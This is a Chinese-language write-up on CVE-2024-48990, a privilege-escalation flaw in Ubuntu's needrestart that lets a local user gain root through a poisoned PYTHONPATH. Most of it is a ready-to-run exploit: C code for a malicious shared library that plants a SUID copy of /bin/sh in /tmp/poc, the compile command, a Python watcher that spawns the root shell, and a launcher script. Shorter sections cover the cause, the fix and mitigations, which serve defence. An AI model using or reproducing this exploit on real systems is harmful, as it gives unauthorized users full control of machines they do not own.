Ubuntu needrestart权限提升漏洞(CVE-2024-48990)漏洞分析
字数 1459 2025-08-22 12:22:30
Ubuntu needrestart权限提升漏洞(CVE-2024-48990)分析与利用指南
漏洞概述
CVE-2024-48990是Qualys安全团队在needrestart工具中发现的一个高危权限提升漏洞。该漏洞影响3.8版本之前的needrestart,允许攻击者通过精心构造的PYTHONPATH环境变量,以root权限执行任意代码。
受影响组件
needrestart简介
needrestart是一个开源工具,主要用于:
- 检测Linux系统中因更新未完全生效而需要重启的进程或服务
- 默认在apt操作(如安装、升级、删除)或自动升级时运行
漏洞原理分析
漏洞触发机制
- 环境变量继承:当执行apt操作时,needrestart会检查Python进程是否需要重启
- 环境变量提取:从目标进程的
/proc/pid/environ文件中提取PYTHONPATH环境变量 - 不安全执行:如果存在PYTHONPATH变量,needrestart会保留该变量并执行Python解释器
- 恶意库加载:攻击者可以通过设置恶意的PYTHONPATH,导致Python加载攻击者控制的共享库
关键代码行为
- 环境变量处理(代码行196):从进程环境提取PYTHONPATH并保留
- Python执行(代码行204):使用提取的环境变量执行Python解释器
漏洞利用方法
攻击前提条件
- 攻击者能够在系统上创建文件和目录
- 系统管理员或root用户会执行apt操作
攻击步骤详解
1. 准备恶意共享库
创建lib.c文件,内容如下:
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
static void a() __attribute__((constructor));
void a() {
setuid(0);
setgid(0);
const char *shell = "cp /bin/sh /tmp/poc; chmod u+s /tmp/poc &";
system(shell);
}
此代码的作用:
- 使用
__attribute__((constructor))确保函数在库加载时自动执行 - 设置有效用户ID和组ID为0(root)
- 复制/bin/sh到/tmp/poc并设置SUID权限
2. 编译共享库
gcc -shared -fPIC -o "$PWD/importlib/__init__.so" lib.c
这将生成一个名为__init__.so的共享库,放置在importlib目录下。
3. 准备Python监控脚本
创建exp.py文件,内容如下:
import os
import time
if os.path.exists("/tmp/poc"):
os.remove('/tmp/poc')
while True:
if os.path.exists("/tmp/poc"):
print('Got the shell!')
os.system('/tmp/poc -p')
break
time.sleep(0.2)
此脚本的作用:
- 持续检查/tmp/poc文件是否存在
- 一旦发现文件存在,立即执行该文件(获取root shell)
4. 执行攻击脚本
创建并执行.sh脚本:
#!/bin/bash
set -e
mkdir -p "$PWD/importlib"
gcc -shared -fPIC -o "$PWD/importlib/__init__.so" lib.c
PYTHONPATH="$PWD" python3 exp.py
此脚本:
- 创建importlib目录
- 编译恶意共享库
- 设置恶意的PYTHONPATH环境变量
- 启动监控脚本
5. 等待触发
当管理员执行apt操作时:
- needrestart会检查Python进程
- 继承攻击者设置的PYTHONPATH
- 加载恶意共享库
importlib/__init__.so - 执行库中的恶意代码,创建SUID shell
- 监控脚本检测到SUID shell后执行,获取root权限
漏洞修复方案
官方修复
升级needrestart到3.8或更高版本,该版本修复了环境变量继承问题。
临时缓解措施
- 限制普通用户对
/proc目录的访问 - 监控和限制可疑的PYTHONPATH设置
- 在非必要情况下,限制普通用户执行apt操作
漏洞验证方法
- 检查needrestart版本:
dpkg -l | grep needrestart - 确认版本号是否低于3.8
总结
CVE-2024-48990是一个典型的环境变量滥用导致的权限提升漏洞,其核心问题在于:
- 从不可信源(进程环境)继承敏感环境变量
- 未对PYTHONPATH进行适当清理
- 以高权限执行可能被污染的Python环境
此漏洞再次提醒我们,在特权程序中处理用户可控数据时需要格外谨慎,特别是环境变量这类容易被忽视的攻击面。